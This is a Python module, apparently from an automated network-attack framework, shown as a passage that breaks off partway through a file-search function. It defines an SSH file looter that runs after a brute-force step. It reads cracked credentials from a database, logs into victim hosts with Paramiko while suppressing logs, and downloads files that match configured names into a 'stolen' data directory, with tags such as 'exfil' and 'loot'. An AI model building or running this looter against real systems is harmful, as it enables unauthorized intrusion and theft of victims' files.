""" steal_files_ssh.py — SSH file looter (DB-backed) SQL mode: - Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce). - SSH credentials are read from the DB table `creds` (service='ssh'). - IP -> (MAC, hostname) mapping is read from the DB table `hosts`. - Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/... - Paramiko logs are silenced to avoid noisy banners/tracebacks. Parent gate: - Orchestrator enforces parent success (b_parent='SSHBruteforce'). - This action runs once per eligible target (alive, open port, parent OK). """ import os import time import logging import paramiko from threading import Timer from typing import List, Tuple, Dict, Optional from shared import SharedData from logger import Logger # Logger for this module logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG) # Silence Paramiko's internal logs (no "Error reading SSH protocol banner" spam) for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys"): logging.getLogger(_name).setLevel(logging.CRITICAL) b_class = "StealFilesSSH" # Unique action identifier b_module = "steal_files_ssh" # Python module name (this file without .py) b_status = "steal_files_ssh" # Human/readable status key (free form) b_action = "normal" # 'normal' (per-host) or 'global' b_service = ["ssh"] # Services this action is about (JSON-ified by sync_actions) b_port = 22 # Preferred target port (used if present on host) # Trigger strategy: # - Prefer to run as soon as SSH credentials exist for this MAC (on_cred_found:ssh). # - Also allow starting when the host exposes SSH (on_service:ssh), # but the requirements below still enforce that SSH creds must be present. b_trigger = 'on_any:["on_cred_found:ssh","on_service:ssh"]' # Requirements (JSON string): # - must have SSH credentials on this MAC # - must have port 22 (legacy fallback if port_services is missing) # - limit concurrent running actions system-wide to 2 for safety b_requires = '{"all":[{"has_cred":"ssh"},{"has_port":22},{"max_concurrent":2}]}' # Scheduling / limits b_priority = 70 # 0..100 (higher processed first in this schema) b_timeout = 900 # seconds before a pending queue item expires b_max_retries = 1 # minimal retries; avoid noisy re-runs b_cooldown = 86400 # seconds (per-host cooldown between runs) b_rate_limit = "3/86400" # at most 3 executions/day per host (extra guard) # Risk / hygiene b_stealth_level = 6 # 1..10 (higher = more stealthy) b_risk_level = "high" # 'low' | 'medium' | 'high' b_enabled = 1 # set to 0 to disable from DB sync # Tags (free taxonomy, JSON-ified by sync_actions) b_tags = ["exfil", "ssh", "loot"] class StealFilesSSH: """StealFilesSSH: connects via SSH using known creds and downloads matching files.""" def __init__(self, shared_data: SharedData): """Init: store shared_data, flags, and build an IP->(MAC, hostname) cache.""" self.shared_data = shared_data self.sftp_connected = False # flipped to True on first SFTP open self.stop_execution = False # global kill switch (timer / orchestrator exit) self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} self._refresh_ip_identity_cache() logger.info("StealFilesSSH initialized") # --------------------- Identity cache (hosts) --------------------- def _refresh_ip_identity_cache(self) -> None: """Rebuild IP -> (MAC, current_hostname) from DB.hosts.""" self._ip_to_identity.clear() try: rows = self.shared_data.db.get_all_hosts() except Exception as e: logger.error(f"DB get_all_hosts failed: {e}") rows = [] for r in rows: mac = r.get("mac_address") or "" if not mac: continue hostnames_txt = r.get("hostnames") or "" current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else "" ips_txt = r.get("ips") or "" if not ips_txt: continue for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]: self._ip_to_identity[ip] = (mac, current_hn) def mac_for_ip(self, ip: str) -> Optional[str]: """Return MAC for IP using the local cache (refresh on miss).""" if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[0] def hostname_for_ip(self, ip: str) -> Optional[str]: """Return current hostname for IP using the local cache (refresh on miss).""" if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[1] # --------------------- Credentials (creds table) --------------------- def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]: """ Fetch SSH creds for this target from DB.creds. Strategy: - Prefer rows where service='ssh' AND ip=target_ip AND (port is NULL or matches). - Also include rows for same MAC (if known), still service='ssh'. Returns list of (username, password), deduplicated. """ mac = self.mac_for_ip(ip) params = {"ip": ip, "port": port, "mac": mac or ""} # Pull by IP by_ip = self.shared_data.db.query( """ SELECT "user", "password" FROM creds WHERE service='ssh' AND COALESCE(ip,'') = :ip AND (port IS NULL OR port = :port) """, params ) # Pull by MAC (if we have one) by_mac = [] if mac: by_mac = self.shared_data.db.query( """ SELECT "user", "password" FROM creds WHERE service='ssh' AND COALESCE(mac_address,'') = :mac AND (port IS NULL OR port = :port) """, params ) # Deduplicate while preserving order seen = set() out: List[Tuple[str, str]] = [] for row in (by_ip + by_mac): u = str(row.get("user") or "").strip() p = str(row.get("password") or "").strip() if not u or (u, p) in seen: continue seen.add((u, p)) out.append((u, p)) return out # --------------------- SSH helpers --------------------- def connect_ssh(self, ip: str, username: str, password: str, port: int = b_port, timeout: int = 10): """ Open an SSH connection (no agent, no keys). Returns an active SSHClient or raises. NOTE: Paramiko logs are silenced at module import level. """ ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Be explicit: no interactive agents/keys; bounded timeouts to avoid hangs ssh.connect( hostname=ip, username=username, password=password, port=port, timeout=timeout, auth_timeout=timeout, banner_timeout=timeout, allow_agent=False, look_for_keys=False, ) logger.info(f"Connected to {ip} via SSH as {username}") return ssh def find_files(self, ssh: paramiko.SSHClient, dir_path: str) -> List[str]: """ List candidate files from remote dir, filtered by config: - shared_data.steal_file_extensions (endswith) - shared_data.steal_file_names (substring match) Uses `find